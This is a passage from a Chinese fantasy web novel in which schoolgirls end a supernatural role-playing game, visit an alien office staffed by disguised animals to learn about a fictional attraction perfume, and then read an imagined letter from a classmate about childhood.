“太恐怖了……”颜阎抱头,“我理解不了。如果她也觉得这里的死是真正的死,那她就更不应该救我了,图什么啊?”
刘征兰冷着脸接茬:“图你年纪小。”
康烁影难得跟上节奏:“图你不洗澡。”
“这个时候就别玩梗了!”科黛在楼梯上仰起脸,避免看到任何掉san场景,“是撕卡了又不是人死了!快走啦!”
科黛身份不明,到底是pl还是npc还无法定性,她的话并不具有很强的说服力。但站在这里的确没什么用,几个人拿出体测的速度一路狂奔,走过一个路口过一个聆听和侦查,绝对不想再和仁爱部撞上。
一路通畅,终于来到终点:活动室。
她们常聚的活动室不太显眼,或者说非常偏僻。它位于顶楼最东侧教室后方的储藏室里。
并不是所有教室都有储藏室,只有每一层东西两间各有一个放教具的小储藏室。顶层使用频率不算高,储藏室更不常用。所以被她们几个钻了空子,偷偷占为己有。
科黛拿钥匙打开门,让所有人都能进来。
储藏室正门很普通,门后却挂着一个小小的牌子,上面写着“秘密结社”。房间里全是矮柜和置物架,上面收藏着一系列桌游、骰塔、小摆件和零食。房间的最北边有一扇小小的窗户。一张材质光滑的大地毯靠着窗边静静躺着。上面还横陈着没收好的桌游道具。
科黛从一大堆矮柜后面摸到开关,按亮雪白的顶灯,随后又不满意起来,把顶灯开关几次变换了光,最后停在一个暗黄的光线中。她指使刘征兰从矮柜最底层最底层抱出一个电磁炉一样的东西,然后一脚踢开地毯上的道具,把电磁炉放在地上,如释重负地躺下了。
她看了看围着的人:“你们点个歌?”
“不用不用。”大家摆手,“你点,你点。”
科黛换了个姿势,从仰面躺着变作趴着,随手在电磁炉上点了点。电磁炉里居然真的发出了乐声。
音乐悠扬而富有旋律感,不是那种节奏强劲的现代音乐,而像是一支从过去、从麦田、从更年轻的世界里传来的乐曲。
音乐飘荡在狭窄的“秘密结社”里,杏子般温暖的灯光下,音乐如同氤氲的香气,给这个只有她们知道的地方披上一层丝绒般的帷幕。
康烁影打开窗户,让声波能够飘出窗外,被行星表面风吹动的窗帘像是一对展开的翅膀。科黛给几个人类调试了防护服,让内部气囊鼓起,防止巨大的音量影响人类的听力。
音乐回荡在整个学院的上空,如同四月的杨絮漫天飞舞。所有人都抬头看去,用眼睛、感受器和触须寻找音符的轨迹。在这种温柔的力量里,再坚定的人都会驻足,再伟大的目的都会歇息,再庞大的建筑都会褪去冷漠的外壳。
科黛靠着窗边,轻轻地哼起这首歌。
“如此陈旧的道路,你铺向何方?
能否让她远行的星河无风无浪。
我们共享过同一片阴凉,
嗅过同一片芬芳,
同飞鸟嬉戏、野兽流浪。
若她要离开家乡,
请她莫要把旧日遗忘。
若她要离开家乡,
请她莫要把我们遗忘。
如此闪亮的灯塔,你指向何方?
能否让她眺望的灯火永不彷徨。
我们祝愿她不为诡计蛊惑,
永远能唱这首歌,
即使与金币同眠,与皇冠同卧。
若她要离开家乡,
请她莫要把歌声遗忘。
若她要离开家乡,
请她莫要把我们遗忘。
如此美丽的天堂,你尽头何方?
能否让我们的笑声永不悲伤。
我们愿意承担无尽的荒凉
窥探一切的真相,
与宇宙比寿、银星争亮。
若我们要离开家乡,
请我们莫要把游戏遗忘。
若我们要离开家乡,
请我们莫要把彼此遗忘。
若我们要离开家乡,
我们将把秘密珍藏。
若我们要离开家乡,
我们将不会把彼此遗忘,
我们将不会彼此遗忘。”
在她的哼唱中,在笼罩整个学院的音乐中,随着风一同闯进秘密结社的,除了灰尘和地面上学生们轻轻的和声,还有一团闪电般的物质。它像一个炸开的电光海胆,在电磁炉音响上,用尽全身力气舞动。
“就是现在!”康烁影和颜阎一拥而上,把电光海胆夹在圆球里,刘征兰上去抽气、增压、升温,科黛关紧窗户防止它逃跑
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。
【唐捐幸运检定:20/30 成功】
【尽灯幸运检定:12/50 困难成功】
【奢里尔 幸运检定:94/80 失败】
【科黛幸运检定:6/55 极难成功】
虽然康烁影手滑了一下,但颜阎及时补上了她的失误。四个人顺利地把这团游离体保护起来,它变成了一个健康的圆球。
科黛关掉音乐。
“然后怎么办?”刘征兰气喘吁吁,“怎么处置它?”
科黛趴在地上,大家都等着她想出一个良好的解决方法,甚至没因为仁爱部可能找上来而催促她。
圆球自己在地上滚来滚去,一会儿滚上康烁影的尾巴,一会儿撞上矮柜。柜子里的十面骰摇摇晃晃掉出来,在地上骰出一个1。
“大成功!”颜阎眼馋,“给我吧给我吧!”
当然不可能给她。圆球里的游离体只是不停用球状的身体撞击着骰子,骰出不同的数值。
科黛忽然说:“我们养它吧!”
“……你要不要听一听你在说什么?”
“我当然知道。”科黛敲了敲它的外壳,“但是你看,塞谬尔老师说它是智慧生物,那它肯定有语言,我们只是听不懂而已。我们可以慢慢理解它的语言,说不定它还能跟我们一起跑团!”
她说着转向颜阎和康烁影:“尽灯,奢里尔,你们肯定支持我对吧!”
颜阎和康烁影嘿嘿笑起来:“我们支持你!”
反正不是她们的世界,想养恐龙她们都说支持。
科黛向刘征兰求情:“唐捐————”
“行了行了养吧。记得找老师喂它。”
科黛一眨左眼:“我会的。”
就在这一瞬间,她们的身体破裂了。
如同一张摔碎的镜子分裂出碎片。碎片又变成无数的蝴蝶,透明而闪耀的翅膀映照出她们的脸。
碎片的缝隙里,科黛的身躯隐约可见。她抱着那个圆球,盘腿坐在地上,微笑着看向她们。
“好了。”她说,“这个团结束了。你们觉得有意思吗?”
颜阎:“有点吓人,朋友!”
刘征兰:“集体主义冷笑话太多了。”
康烁影:“只要不死人就有意思!”
科黛哈哈大笑,用右手朝她们比出一个手背朝外的“ok”手势:“下次,再来一起玩呀!”
话音刚落,她们就感到思绪被扭作一团,揉了揉,像铅球般被人“咻”地扔了出去。
三个人翻滚、转动,直到彼此骨碌碌地撞在一块儿才停下。
眼前是熟悉的天花板,兜里有手机,旁边还压着绿书包。这里是,这里是,这里是——
是学校!
虽然嘴上说着宁愿回来高考,但真的回来之后每个人都萎靡了。刘征兰跪在地上摸索了一阵,没找到眼镜,但找到了牌位。她捧起牌位念叨:“送我回去送我回去送我回去。”
颜阎率先找到了旁边不省人事的周真真。康烁影说你探探她鼻息,颜阎说鼻息有时候探不到,摸脉搏。
刚碰上周真真的手腕,对方就皱着眉挥开她的手,把自己蜷成一团,嘴里嘟囔着:“再睡一会儿……”
她还活着!
颜阎和康烁影互相抓着手激动不已:“不用坐牢了!”
康烁影看了看手机,发现已经过去了一个小时之久,她们一直躺在这个凑近才能看到的视野死角里,这才没有人发现她们。
兴趣班马上就要结束了,刘征兰和康烁影收拾收拾,准备不去兴趣班了,等到下课直接一起回教室。
颜阎让她们俩在外面等一阵:“我要进去把稿子讲完。”
刘征兰帮她抱着绿书包:“你还批判三岛由纪夫?”
“不。”颜阎说,“我批判太宰治。”
“不是改了吗?”
“不改了。”颜阎从兜里掏出半块橡皮,把稿子上的字擦出一大片黑印,“我要是改了,她怕要一直崇拜他了。”
她说的是周真真。上学太累了,在跑团的世界里走了一圈更是让她的精神紧绷。好不容易放松一阵,她在略带暖意的地面上酣睡如泥,毫无醒来的预兆。
“你批判了,她也不一定会改观。”康烁影玩手机的间隙里抬头说了一句,“这就跟粉丝追星一样,就算你说了,她也觉得是污蔑,或者可以原谅。粉丝追星多少是有点自我投射的,也就是把对美好的渴望投射到偶像身上。否定偶像,就像是否定粉丝的理想和个人经历,这是很令人难过的。”
“你想得这么清楚干嘛还追星?”
康烁影瞪她:“你明明知道纸片人也避免不了刻板印象,干嘛要看纸片人?不就是因为把他们当娱乐产业在消费吗?我们真人粉丝就不可以享受娱乐产业了?你以为娱乐为什么叫娱乐,我们开心啊!”
“嗯……也行吧。”
“而且。”康烁影用下巴指了指周真真,“她更复杂,她喜欢的是文学家,文字的信息更多,更容易让人共情。你就算真的说出来,她也只觉得你在否定她的情绪而已。”
“那我也要说。我把该说的说了,她怎么觉得就看她自己了。就算她还是喜欢太宰治,那也是她自己的事,我会尊重她的。谁也不能否定别人的爱好。但是如果周真真只是在喜欢文学,而不是在崇拜某个人,她就应该更喜欢被抄袭的明淑和太田静子,而不是太宰治。”
颜阎把稿子按在胸口,“我想表达的只有一点:我们不一定需要投射。如果喜欢美好就去创造美好,喜欢文字就去创造文字,喜欢理想就去追逐理想。而不是把这些放在他人身上。那样子太被动了。
就像太田静子崇拜太宰治,最后被他抄袭了《斜阳》一样。要是周真真也像那样崇拜某个人,她会被吸血吸空的。”
刘征兰点头:“如果只是觉得文章让人共情还好,但她显然是在迷信偶像了。不管这个偶像是太宰治还是你都不好。”
“耶?你和她又不熟,你怎么知道她崇拜我?”
“看她对你就知道了。”刘征兰指着颜阎,“你不就是为了不让她难过才来改稿的吗?她现在对你的态度,就是对偶像的态度。不然就不会在跑团的时候跟你一换一了。
她那个幸运可以用来偷袭敌人,让我们5v5战斗,也可以用来快速逃跑,唯独不能在以为自己会死的情况下拯救你。她还是高中生,谈什么以命换命?太不健康了!没有谁的命是该拿来换的,沒有谁是该为别人牺牲的。”
颜阎挠头:“原来我牺牲自己救你们的时候,你是这么看我的,嘿嘿。”
“……你不一样。咱俩都把那个世界当成纯粹的游戏了。你压根不觉得自己会真死。周真真可是抱着必死的决心去的。”
康烁影用指甲帮颜阎切开橡皮,用更干净的一面擦掉铅笔的痕迹。
颜阎不愿意成为偶像,不愿意承载任何投射。她也不希望周真真这样做。慕强、恋智、崇拜,都是把人当作美德的具象化。但事实上,没有人能代表一种美德,追逐人不代表能追逐美德,追逐强者不代表自己就是强者,爱自由独立的灵魂不代表就是自由独立的灵魂。
美德是人的注脚,人是美德的参考。任何人都不可能用他人的手去触摸美德。
在这样无声的共识下,颜阎晃醒了周真真,拿着批判太宰治的稿子,和她一起走进历史名人社。
刘征兰和康烁影在外面,默默等待着她。
56.爱恨魔药
颜阎和刘征兰小心翼翼地把牌位放在滑板车上,康烁影打开呼叫中心的门迎接两人。她们进门之后,又将门合上再打开,律易棋惊恐不已的脸出现在门外。
他挥手让飞箱停到一边:“这是神婆家的那个……”
颜阎沉痛点头:“是那个。”
“怎么回来了?”
“说来话长。”
“你知道这像什么吗?”律易棋问。
刘征兰替他回答:“安娜贝尔。”
颜阎绘声绘色地给他描述了真人跑团的惊险经历。而律易棋完全没听到点子上,听说这个牌位翻动一下就可以拿来真人跑团,律易棋被震慑了,当场就想翻。三人吱哇乱叫,一个扑上去拦住他,一个死死抱住牌位,还有一个光叫就是不动。
“这不跟那个木杯电话一样吗?”律易棋说,“你们跟木头杠上了,以后记得少去森林。”
“那怎么办?”康烁影问,“要把它砍开吗?”
“你们还想跑团吗?”
三个人顾左右而言他,就是不正面回答。
看这样子就是想。但律易棋邪恶一笑:“想也不行,这东西能创造空间,算是有点危险的东西了。就算你们想用我也得验一下。”
“你验吧。”康烁影拱手相让,“小心点拿,记得把滑板车留下。”
律易棋的手稳稳地把它拿起来放在柜台上:“到底是哪里拿回来的?垃圾场捡的?”
“不是。”颜阎摆手,“有个女同学去买香水,说加这个凑单打二五折。”
律易棋深感地球的变化莫测:“凑单凑出了一个烧焦的安娜贝尔。”
回到莫妮卡杂货店,大家就像回到了老家。翻冰柜的翻冰柜,喝饮料的喝饮料,找小马扎的……直接抢过了律易棋的小马扎,三个人排排坐,猫在柜台旁边开小会。
律易棋本来打着游戏,看她们三个都坐下了,只好暂时放弃游戏一起开会。
和康烁影分享鱼片的刘征兰问:“地球怎么那么多事情?上面不派人来吗?”
律易棋伸手就要:“你们这穷乡僻壤的,谁来啊?来写新闻稿?”
“真有人来写新闻稿?”刘征兰不给。
律易棋转瞬之间和她过了几个关节技,抢到了:“你们听说过百慕大三角吗?你们这里就像宇宙的百慕大三角。怪谈很多,传说很多,有些人专门来看一圈,写个稿子赚点钱,走了。”
颜阎还挺感动:“没把我们星球挖空变成真钱,法律健全就是好。”
“感谢刻石人和都兰联合对爬行文明的保护吧。”律易棋闭眼颔首,“查旦。”
“铃铛也说过查丹。”康烁影吭哧吭哧啃无糖奥利奥,“啥意思?”
律易棋微微一笑:“丹这个发音在我们的语言里是神。查丹就是god bless you。但我反对智能制造论,所以这只是个口头禅。类似于,”他发出哭天抢地的叹息,“天呐!”
这时候颜阎忽然一拍手:“铃铛!”
律易棋被吓了一跳:“怎么了?”
“当时我们这儿有人跳格子,铃铛一个玛丽基金会的怎么会来?”
律易棋没跟上她的思路,愣愣地回答:“她管这些呗。”
“玛丽基金会还管什么?”
“呃……生物实验,爬行文明考察,外星人在地球的移民定居?”
“就是这个!”颜阎兴奋起立,“移民外星人在地球售卖不明物品,可以找她们!她们就在地球,比找弃首方便多了!”
颜阎一把握住律易棋的手:“你有铃铛的联系方式吗?急需!”
当然没有。律易棋一个逃犯,别说玛丽基金会要员的联系方式了,怕是连报警电话都打不通。
最后是律易棋用了弃首的联系方式。这位女士在摸鱼之余,查了驻爬行文明银河系分部太阳系支队地球小组须州办事处(玛丽基金会属)的办公室电话,拨通之后又让办公室电话转接负责人电话,接线员说不好意思我没有那么高的权限,我帮你联系一下上级。
过了一会儿接线员捏着嗓子回来了:“喂您好我是总接线员,请问您有什么事吗?”
弃首说:“这不还是你吗!”
接线员委屈地换回原声:“对不起女士,人手不足。”
“……为什么不是地球人还要用地球电话。你知道我从外太空转地球的信号塔多麻烦吗?”
接线员也很委屈:“我们给各单位留电话,就是为了让你们不要拨打。地球人看了不知道我们是干什么的,都兰联合看了没法使用地球科技,根本打不通。谁知道有您这样的人,在卫星,信号塔,信号加强器里来回弹射也一定要和我们接上。”
弃首乐了。她对于自己同样身处这个笑话毫不介意,听声音似乎是跌在地上狂笑,爬不起来了。
和弃首连着飞箱的律易棋与三个地球人本来津津有味地听相声,主演之一没声了,律易棋赶紧用飞箱接上:“反正我们要见铃铛。什么流程?”
“我先帮您问问秘书。”
这次电话总算换了个人接,对面说的还是中文:“咋了?”
“有人要见铃铛。”
“预约了吗?”嚼嚼嚼,“这个地锅鸡真难吃。”
律易棋回答:“没有!”
咕嘟咕嘟喝汽水:“那就去预约。”
“找谁预约?”
“我帮你叫安全人员。”
接线员又接了电话:“你好我是安全人员。”
飞箱两头五个人同时叫起来:“这不还是你吗!”
“本来不应该是我的。”接线员厌倦地换了只手拿电话,“这本来是一个精密而庞大的系统,但是,嗯,地球实在太偏了。没有这么多人力资源。”
律易棋好想吐槽,但实在没话。伴着弃首的狂笑,他无力发问:“实话实说吧,想联系到铃铛拢共需要几个工作人员?”
“就我俩。”
“那你们快点走流程。”
于是对面开启了飞快的流程对接。安全员你知道这件事吗?刚知道的,助理你明白了吗。现在明白了,文印室管理员您打印了吗?啊铃铛下午好,打印了,常务副秘书你记录了吗?记录了,好的,还需要三个工作日后我就给你答复……
刘征兰:“你刚才在和谁打招呼?”
律易棋忍不了了,他挥开飞箱,指使颜阎打开绿书包,钻进呼叫中心,把捧着汉堡的铃铛推到电话前,若无其事地坐回来:“喂铃铛女士您在吗?”
不知道为什么接上了电话的铃铛:“……我在?”
“请您把门打开。”律易棋说,“我们在门外,速来接待。”
康烁影小声问:“我们什么时候在门外?”
颜阎举起绿书包:“可以在。”
于是铃铛在即将下班之际走出电梯,看到四人凶神恶煞站在写字楼前,随时准备向繁琐的流程和体制开炮。而且不知道是不是错觉,写字楼的玻璃门好像变成了陈旧的木门,上面还写着“外星人呼叫中心”几个大字。
为了保护自己的身家性命,她只好邀请几人进入休息区,挎着脸撇着嘴,老大不乐意:“您坏,很不高兴为您服务。”
颜阎一个滑跪冲过去:“姐姐姐姐,有外星人给地球土著卖奇怪小香水!这你不管管!”
铃铛的嘴撅得能挂油瓶:“商业不是我们这个部门的项目,亲爱的。我们可以管移民定居,可以管移民的生活状况,可以管种族矛盾,偶尔可以管地球本地的突发情况。但就是不能管商业。”
“顺手的事帮个忙嘛!”
“说得轻巧,你这个坏家伙!”铃铛摇摇晃晃,绝对不让颜阎抓住自己胳膊,“我们可忙了。研究量子团,调查量子团猎人九千,给当地移民找工作,累得要死要活好不好?”
她说话期间,电梯里走出一个头发茂密的中年男人。颜阎本来想拉着她到一边去谈,没想到中年男人直直走过来,在和铃铛撞上之前猛一甩头,将头顶的假发甩飞出去。
一只黄鼠狼从假发下面钻出来,顺着铃铛两腿之间的缝隙奔向门外:“去吃黄焖鸡喽!”
刚踏出几步,它就顿住了。四条腿原地踏步,鼻子神经质地耸动,身子慢慢地向某个方向靠近。在一阵嗅闻后,它彻底趴在颜阎脚背上,露出肚皮打滚。
铃铛目瞪口呆,律易棋幸灾乐祸。刘征兰和康烁影蹲下去研究,颜阎用表情尖叫。
紧接着是一个头发乌黑亮丽的老太太,她将脚上的花鞋子一脱,一只酱油色黑鼻头的田园犬欢快地从门里奔出。它和黄鼠狼一样,耸着鼻头闻了闻,靠在了刘征兰脚边。
一个胖乎乎的年轻女人将工牌甩上天空,变作一只胆固醇过高的狸花猫,小卡车般一头撞进康烁影怀里,把她撞出内伤,抱着肚子直叫。
后面还有许许多多的小动物。爆炸头的黑人女子变作的刺猬,一群斑鸠组成的年轻男人,甚至还有一只没有任何伪装的非洲大蜗牛……等一下这个是真的大蜗牛,快跑!
三个人拖着一群小动物艰难爬回沙发上。律易棋帮她们抱着几只小狗和小猫。
铃铛十分困惑:“这些都是我们镇守前台的优秀员工,不应该啊。你们是不是用肉汁洗澡了?”
颜阎从萨摩耶的白毛里爬出来:“哼哼哼,你太小看我们了。高中生洗澡的时间都是精挑细选,经过九九八十一道工序才计算出来的。用肉汁洗澡又要熬又要煮,最重要的是,需要浴缸,我们才没那么多时间泡澡。”
律易棋头上顶着一只长毛小黑猫,腋下夹着一只姜黄色长毛猫:“说不定是体味改变了?”
铃铛若有所思:“有道理。你们等一下。”
她哒哒哒地跑走了。
律易棋把紧紧咬着他手指的嗅虫拿下来,不动声色揣进口袋,假装他是正经地球人,没有依靠任何外力:“没事,有的是时间。”
“我们没有时间!”康烁影拼尽全力避开黄鼠狼,“我们有晚自习!”
铃铛的声音远远传来:“我们尽快!”
律易棋趁机悄然掩上门,退回呼叫中心,把自己隐藏起来。以便接应三人。
这一天,经历了漫长等待的康烁影明白了一个道理:不要相信任何一个庞大组织的运营者。
铃铛走了无数个流程,签了无数份文件面见了无数个负责人(其实都是那两个人),终于把她们引进写字楼内,小动物们寸步不离地跟着,三人只能拖家带口在后面艰难求生。
写字楼内有众多小动物员工,人兽比例三比七,人还有一部分是藤发人。非常动物友好。
小动物们平时带着折射伪装,假装自己是普通人类,一下班就扔掉假发假牙假身份,横扫工作做回自己。今天三个人形生骨肉的出现打破了它们规律的生活,但至少大家都还记得做回自己,不然现在压在她们身上的就是一群不那么毛绒绒的坏人类了。
铃铛把三个人塞进一个巨大的房间,房间大概由三个办公室打通造就,有一个巨大的单向玻璃窗可以使阳光长驱直入,屋内铺满新鲜泥土和专门栽种的温带植物,一群可爱的动物,鹿呀鹤呀松鼠呀熊呀躺在草地上,辛勤地……当客服。
“亲亲我们家的猫粮是绝对健康的,零添加剂。完完全全的地球走地鸡,专业饲养,吃了会让小猫的毛发很健康的哟~”
“不好意思亲亲马上就发货了。请您和您的小鸟耐心等待一下哦~”
“是的呢我们真的送小狗玩具。保证小狗喜欢。我们怎么知道小狗喜欢?我们的员工里真的有小狗呢亲~”
铃铛向后开门,灵活地躲过门内漏出的几块土壤:“美拉熊客服,来活了!”
一只黑色耳朵和爪子,白色皮毛的熊叹了口气,四肢着地走过来,一屁股坐在几人面前,霎时间地动山摇:“下午好,诸位,什么事?”
铃铛把挂满小动物的三个人推到它面前:“闻闻。”
白熊用鼻子和爪子扒开三人身上的小动物,把黑色鼻头靠近她们的肩胛、腋下和肚子,最后慢吞吞地说:“是勾魄散,
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虽然散得差不多了,但还是能闻出来。”
刘征兰扒开脸上的花栗鼠:“勾魄散?”
铃铛把所有猫猫狗狗鼠鼠鸟鸟扔出去,企图把它们放归,它们又自己跑回来。她在这个无限循环的间隙说:“勾魄散可以催化细菌酶的活性,少量使用可以作为香水吸引异性注意、博取同性好感。有时候也用作安神,对狂躁情绪有安抚作用。一次性大量服用的效果类似催.情剂,很多人把大剂量高浓度的勾魄散当作犯罪道具。”
白熊拖声拖气:“我们的灵肉员工,嗅觉比普通动物更敏感。”
“这么容易被吸引,隐患有点大吧!”
白熊叹了口气,摊开四肢躺在地上,用爪子盖住鼻头:“那是因为工作压力太大了。一闻到立刻放飞自我。比起被吸引,不如说是自暴自弃。”
刘征兰同情地拍拍它。
颜阎伸手跟铃铛比划:“那,这么大瓶子的算犯罪吗?”
铃铛精神抖擞地耸起来,像一根见到太阳的土豆苗:“有什么效果?”
“呃……洒了之后我们年级每个人身上都一股味儿。”
“全洒了?”
“差不多吧。”
铃铛蔫了:“那你把它全喝了都没事,离违禁浓度差了十万八千里。”
白熊见大家没有理它的意思,很受伤。康烁影跑到它旁边搭话,白熊指着地上一株小小的灌木,小声给她介绍:“这就是勾魄,果实可食用。叶子的形状像心形,很漂亮。所以那种动物体.液提取药水才会用它的名字。你看,这是左心房,这是右心房。这是左心室,这是右心室……”
铃铛蹲在门口,和颜阎刘征兰说小话:“谁卖给你们的呀?多少钱?在地球不便宜吧?”
“不是我们买的。是同学买的。”康烁影说,“一百一。”
铃铛悚然,用拇指和食指捏出“金钱”的手势:“这么便宜?”
颜阎抱着啃草根的兔子,“不知道从那里买的,还送了个赠品。”
“……哪家良心供货商,给我推推。我们也要卖。”铃铛很诚恳。
“这能卖出去吗?”
“建个网店,自称是显化香水。再找个人算算塔罗牌,讲讲神秘学,然后推推我们家的香水,可多人信了。”铃铛神秘一笑,“我们还会发布一些小动物的呼噜声到onlyfans,假装是显化音频。一个午休能录十几个。”
康烁影抗议:“真挺灵的!”
刘征兰和颜阎微笑地看着她,心想等她老了就给她推销保健品。
颜阎鬼鬼祟祟凑到她身边:“那既然有正向情绪的药,有没有负向的。就是那种,让别人有点不喜欢我的。”
铃铛一把将双手背到身后,跳出去老远:“你要干什么!你是不是要制造臭气炸弹!”
“没有!没有!”颜阎举起挂着小刺猬的双手,两只斑鸠站在她手心里,“我还要上学!我就是想让一个人突然有点不喜欢我。”
大家都知道她说的是周真真。一方面是周真真这种感情太不健康了,不利于个人成长。另一方面是,颜阎微妙地有点受不了她的态度。太恐怖了姐们儿,我们不想精神操控任何人,希望大家都能摆脱集体主义成为独立的个体ok?
铃铛把双手背在身后,俯身看着这群扰乱办公室秩序、延缓她下班时间、还伸着手连吃带拿的坏家伙,最后还是一跺脚,扭头跑进电梯,过了一阵儿,拿着一个两指节高的棕褐色小瓶子出来了。
“这个叫不斜。”她拎着小瓶子给大家展示,“没有味道,和勾魄散原理一致,但不能互相抵消。你们身上的味道要慢慢消失,别想着用这个一鼓作气消除掉。”
康烁影恳求般问:“如果我永远不洗澡,它会永远不消失吗?”
“那,你就会变成臭蛋。”
康烁影败下阵来。
颜阎把双手伸到铃铛面前,试图接过瓶子。而铃铛眉毛竖起,把瓶子揣进怀里:“不给!纯乞讨啊?”
颜阎尝试耍赖:“关系户help关系户。”
铃铛抬起下巴,气鼓鼓地护紧怀里的小瓶子:“我看穿你们啦!你们要是真的有关系才不会来找我呢!早就去找关系了!”
趴在地上到处找眼镜的刘征兰高声说:“此言差矣。我们要是假关系户,怎么认识的刻石人?”
失去了眼镜后她的听力也明显下降了,可能这是近视人群的特性。
“对对对。”康烁影帮腔,“关系天高皇帝远,不是什么事都能帮我们的。”
铃铛比康烁影都矮一头,被她们三个和毛绒绒大军团围在中间,虽然场地是她的老家,但画面依然无限类似于高中生欺负小孩。
她的表情犹豫了许多,呈现出一种迷茫的空白。眼睛滴溜溜地在三个人之间游荡,声音小小的,声音里对更高权力的奴颜婢膝却是大大的:“总……总要给点什么吧……”
康烁影从校服口袋里掏出一包未拆封餐巾纸。
铃铛愤怒打掉她的手:“真把我当乞丐了!”
“那我们下次带你真人跑团行不行?”
铃铛停住了。
“真的?”她的眼睛四处乱瞟,“你们地球有这技术?”
“你不相信地球还不相信我们关系户?”颜阎拍胸脯保证,“绝对是真的!”
就算是假的,她也没法追究,是不是?
时至今日,三人已经欠下无数空头支票,完全无所畏惧。
铃铛不情不愿地把瓶子交给了她们:“用完就还回来哦……我只允许你们用掉半瓶!”
话音刚落,三个人抖下身上的毛绒绒小动物,冲出写字楼,躲进卫生间,疯狂给律易棋发消息。
律易棋迅速打开呼叫中心,把三人送去学校,最终让她们在上课铃打响之前冲进教室,逃避了被通报批评的命运。
在此插播一条无关紧要的消息。刘宇衡男士目前在家里跟妈妈发誓:“滑板车真的不是我弄丢的,它被一只手拖进门里之后自己消失了。真的!”
57.一封一班女生的来信
不著名小说家颜阎女士在备忘录上断断续续写小说已有五年,鉴于她本人只有十七岁,这个数字已经占据了她近三分之一的人生,若加上她用文字书写的时间,文字在她生命里所占据的时间只会更长。为了避免不必要的社交和纠纷,她只在空间连载,好友们自行决定可看可不看。
她如果叫R,那她可能会收到一封陌生女人的来信。但她名字里的两个字,总共也就用了三个拼音字母,没有一个和R接近。所以她没有收到任何一封信,那封信也没有被写出过。如果它在世界上曾有一秒存在,那它应该是这样的:
我把台灯打开让光线照在这张桌子上,我就在这张桌子上写信给你。
我要和你单独谈谈,第一次把一切都告诉你。
我的人生就像所有的县城女孩一样。虽然大家想到县城,都会想到烟火气的小城风光、无忧无虑的童年和朴实热情的人们,但真正身处这种环境时,我的心中只有无穷无尽的憎恨。
我对儿时的记忆只有发霉的灰绿天空和烧麦杆的刺鼻气味,即使到我上了的小学也一直如此。小学的记忆很痛苦,那些农村出来的满嘴脏话的男孩,跟他们的父亲学会了羞辱女生,他们的心中一早就埋下了轻蔑的种子。那些外来城镇的孩子们,跟他们的家人学会了炫耀财富,他们的脚早已踩在我们此生难以企及的金山上。穷人的女儿们便在大人们的目光里,老师们的语言里,渐渐学会了沉默。
在你入学那一年,我就站在离你十米远的那支队伍里。我听说过你,你总在被议论。从入学议论到二年级。男生们说你是疯子,能买正版拓麻歌子的同学们说你是个火山口。传闻中你曾疯狂地想成为男生或名人,后来又忽然放弃了这些想法,转而疯狂地去做些什么。你总在愤怒,总在挑衅,总在怀疑,仿佛这个世界背叛了你,而你向一切发泄你的怒火。
我在他们的语言里认识你,偶尔会把你当作儿时幻想的反派。你大概很高,有着宽阔的肩膀和粗壮的腿,头发像狮子一样炸开,总是咧着嘴,露出老虎般的牙齿。这个时候,我没有见过你,就算有,我也没能认出你。
毕竟,没有小学生真的会长出老虎的獠牙。
小学的篮球场是一个可怕的地方。你知道的,篮球框对于小小的我们实在是太高了,而且那里几乎是男生的地盘,靠近那里让人感到恐惧,就像是靠近动物园没锁的铁门。
但是有一天,那里忽然敞开了。狮子、老虎、猎豹,全都双腿直立地行走,穿上衣服,成为了和我们一样的人。篮球场走进了女生,农村孩子,还有外地人,大家突然都学会篮球了。
我学会篮球,也是在那个小小的篮球场上。那是我唯一记得的一节调课,我和你们班一起上课。你们班上的女生教会我如何把球拍起来,如何让球跟着手腕弹跳,如何协调四肢,如何把球投进篮筐里。我问她们怎么想到要打篮球,她们说,是你教她们的。
就像你突然想做其他事一样,有一天,你突然想打篮球。你恳求、威胁、诱惑,教班上的女生学会了运球和投篮。
后来班上的女生教会了外班的朋友,外班的朋友教会了高年级的哥哥姐姐。你像暴风雨前第一朵乌云,涨潮时第一朵浪花,推动了这场微不足道,但在我心上留下了痕迹的革命。
但那时的我不知道未来的光景。我只是无法把那个总是暴怒的你和你们班同学描绘的你联系在一起。那时我的心中燃起了强烈的好奇,像是一片被点燃的枯叶,冒出了细小而速朽的火花。
我想见你。
我询问了你的同学,她们都哈哈大笑。她们说,你和你的发小跟老师顶嘴,双双被拉去罚站,这节体育课来不了啦。
于是你在我心里,又变成了一只变幻莫测的精灵,打着赤脚,有着透明的翅膀和翅粉,手里捏着星星法杖和魔法的金币。愤怒时就会长出恶魔的角,眼睛和嘴里喷出岩浆。欢笑时就能用魔法改变一切,赐予所有人天赋和团结。
那节课下课时,我从潮湿、带着一点灰尘气味的器材室走出来时,你们班的同学让我往校门口看,说那就是你。
你呀,没有翅膀,没有獠牙。红领巾和小队长的袖标,无一不暗示着,你是一个普通的学生。你留着高而短的马尾,额前没有一丝碎发。校服的裤脚一高一矮,高的能挽到膝盖上。你大笑着跑过主席台前的桂花树,从蜜橘色的黄花和油嫩丰盈的绿叶中扑到校门外。我至今还记得那个背影:矫健、轻盈得不可思议。
直到初三体测,我还用着那时学会的投篮技巧。我已经不常想起你,但你的身影总是在一些无关紧要的时刻出现。就像是人总会想起儿时的片段,你也在我的片段中。
初三那年,我和同一个小学的女生们偶尔说起你。我们都用小学时的技巧练习投篮,每到体育课结束,我们就会聊几句你。听说你已经不再时时喷发,但你体内的岩浆沸腾不息。
你仍旧时常辩驳,仍旧嫉恶如仇,你轻视中小学生必读书目里的名著,你质疑伟人的名言,你怀疑所有传世之爱的坚定和纯洁。我们都很好奇,像你这样的人,以后会成为一个怎么样的人呢?
你肯定不记得了,那是一个海棠烂漫的时节,灌木丛上开着又小又香的奶油色小花。天空中有着不可思议的变幻,云厚重而高远,飞机的尾迹宛若黑板上粉笔画出的平分线。
我们穿着轻薄的衬衫,走进中午令人昏昏欲睡、饥肠辘辘的阳光里。自行车铃和欢笑仿佛是世界的主旋律。你伸手为我的同学挡了一下打闹的低年级学生,然后冲我们点点头,便离开了。
在那个无论贫富与性别,所有人会呼朋唤友、三五成群的年纪,你一个人,左手托着书包肩带,右手大大方方地拎着半瓶用雪碧瓶子装着的酸梅汤。你知道吗,在那时盛放的春光里,你像一个流浪的孤独侠客,手握长剑,四海纵横。
你究竟是一个怎么么样的人?你究竟会成为什么样的人呢?那个时候,我对你的好奇像燃烧的山火般来势汹汹。
高中分班成绩出来后,我特意跑到三中门口的布告栏看分班表。家长的手机闪光灯中,我眯起眼睛寻找自己,在我的名字清清楚楚映在我眼底后,我就开始在我的班级里寻找你的名字。但你不在,你哪都不在。我用视线一点一点爬过整张纸,终于在四班找到了你的名字。
